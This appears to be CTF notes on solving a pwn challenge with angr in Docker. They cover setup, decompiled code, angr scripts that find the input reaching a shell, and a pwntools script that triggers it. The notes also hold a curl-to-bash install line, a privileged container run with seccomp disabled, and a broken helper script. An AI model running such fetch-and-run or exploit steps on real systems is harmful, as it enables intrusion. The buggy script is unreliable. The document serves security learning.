zer0_1s

It is brought to you by the Computer Security Lab at UC Santa Barbara, SEFCOM at Arizona State University, their associated CTF team, Shellphish, the open source community, and @rhelmot.

concolic is a combination of the words "concrete" and "symbolic". Concolic testing is a hybrid software verification technique that uses both symbolic execution (treating program variables as symbolic variables) and concrete execution (involving concrete inputs).

curl -fsSL https://get.docker.com | bash -s docker --mirror Aliyun

docker pull angr/angr

./setup.sh -i -e angr

# how to use angr in docker 
docker run -itd --name angr angr/angr
docker exec -it angr bash
su angr # root users do not have the angr environment, so switch to the angr user

#! /bin/sh
# Author: i0gan
# for starting docker angr
pwd=`pwd`
if [[ $1 < 2 ]];then
    echo "Usage angr script.py"
		exit
fi
script = $1
docker run -it \
					  -u angr \
						--rm \
						-v $(pwd)/${ctf_name}:/ctf/work \
						-w /ctf/work angr/angr "/home/angr/.virtualenvs/angr/bin/python" "/ctf/work/$script" $2 $3

docker run -it \
	--rm \
	-v $(pwd)/${ctf_name}:/ctf/work \ 
	-p 23946:23946  \	
	--privileged  \
	--cap-add=SYS_PTRACE \
  	--security-opt seccomp=unconfined \
	pwndocker  

root@DESKTOP-4VN4G0C:/Desktop/pwn# checksec pwn1
[*] '/Desktop/pwn/pwn1'
    Arch:     i386-32-little
   RELRO:    Partial RELRO
   Stack:    No canary found
      NX:       NX disabled
     PIE:      No PIE (0x8048000)

int sub_804870E()
{
  int result; // eax
  char v1; // [esp+Ch] [ebp-1Ch]
  int v2; // [esp+1Ch] [ebp-Ch]

  result = atoi(&input); // '\n' defaults to case 0, and there are also cases 1, 2, and other branches
  v2 = result;
  switch ( result )
  {
    case 1:
      puts("logging out...");
      result = ~dword_804A06C;
      dword_804A06C = ~dword_804A06C;
      break;
    case 2:
      if ( dword_804A06C )
        result = sub_80486F5(); // bounce shell
      else
        result = puts("please log in");
      break;
    case 0:
      puts("input your passwd:");
      result = sub_804859B((int)&v1, 16); // theoretically, it is for entering the password, but without a match, it is impossible to know how many characters the password is
      dword_804A06C = 1; // key variable for bouncing shell
      break;
  }
  return result;
}

import angr
from binascii import b2a_hex
import logging
import sys
#logging.getLogger('angr').setLevel('INFO')
logging.getLogger('angr').setLevel('CRITICAL')

def angr_main():
    pj = angr.Project('./pwn1')
    state = pj.factory.entry_state()
    simgr = pj.factory.simgr(state)
    simgr.explore(find = 0x08048783) # call shell
    p = simgr.found[0].posix.dumps(0)
    print(b2a_hex(p).decode(), end='')
angr_main()

root@DESKTOP-4VN4G0C:/Desktop/pwn# docker cp /Desktop/pwn/pwn1 1e40bd134aa7:/home
root@DESKTOP-4VN4G0C:/Desktop/pwn# docker cp /Desktop/pwn/script.py 1e40bd134aa7:/home

from pwn import *
import os
from binascii import a2b_hex

io = process('./pwn1')
print('Solving...')
payload = a2b_hex('310a320a')
io.send(payload)
print('Get shell')
io.sendline(b'whoami')
io.interactive()

import angr
from binascii import b2a_hex
import logging
import sys
#logging.getLogger('angr').setLevel('INFO')
logging.getLogger('angr').setLevel('CRITICAL')

def angr_main():
    pj = angr.Project('./find_flag')
    state = pj.factory.entry_state()
    simgr = pj.factory.simgr(state)
    simgr.explore(find = 0x1229) # call shell
    p = simgr.found[0].posix.dumps(0)
    print(b2a_hex(p).decode(), end='')
angr_main()